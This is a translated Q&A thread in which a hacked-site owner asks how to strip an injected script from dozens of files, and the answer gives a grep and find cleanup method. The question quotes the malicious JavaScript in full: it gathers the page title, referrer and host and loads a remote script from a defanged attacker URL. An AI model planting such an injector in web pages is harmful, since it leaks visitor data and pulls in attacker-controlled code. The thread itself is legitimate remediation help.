替换长文本字符串(带有许多特殊字符的脚本)。 sed、awk、grep

替换长文本字符串(带有许多特殊字符的脚本)。 sed、awk、grep

我的网站被黑客攻击/感染。我替换了恶意链接的 URL,但恶意脚本中的其他元素仍然导致我的网站被阻止。在不插入一百个左右“转义符”的情况下,如何从我网站上的 3 打文件中删除以下脚本?

< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>

stack-exchange 上的其他页面没有回答这个问题。

为了用 xxxx_hack_was_here 等替换恶意网址,我使用了: find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +

答案1

首先我同意楼上的评论:不要使用sed从被黑客攻击中恢复。 你总会想知道你是否错过了什么。从备份中恢复,期间。

然而,您提出的字面问题,即如何在不转义每个特殊字符的情况下删除出现的所有长字符串,在某种程度上更容易处理。

我从你的问题中做出一些推论/假设,但你实际上并没有直接说明:

  1. 要删除的字符串是单行。
  2. 每次发生都是一样的。
  3. 它需要是已删除,没有用其他东西代替。

如果上述假设正确,请执行以下操作:

  1. 将要删除的字符串(包括任何尾随空格)单独放入一个文件中,称为例如hackline.txt.把这一层多于您要处理的目录。
  2. 复制整个目录以防出现错误。

    cp -a mydir mydircopy
    
  3. 在您的目录(或副本)上运行以下循环以删除 hackline 的所有实例:

    cd mydir
    for f in *; do
      [ -f "$f" ] && [ -r "$f" ] || continue
      grep -vxFf ../hackline.txt "$f" > "$f.fixed" &&
        mv -- "$f.fixed" "$f"
    done
    

这里的概念是,您将其用作hackline.txt必须匹配整行的固定字符串列表,然后grep仅用于获取符合以下条件的行:匹配该字符串列表。

-x表示“整行”;-F表示“固定字符串,不是正则表达式”;-v反转搜索;-f接受文件中的模式列表。

如果您的网站目录是分层的而不是扁平的(这实际上很有可能),您可以使用find而不是 for 循环:

find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;

然后使用递归diff来检查一切是否都应如此:

diff -r mydircopy mydir

相关内容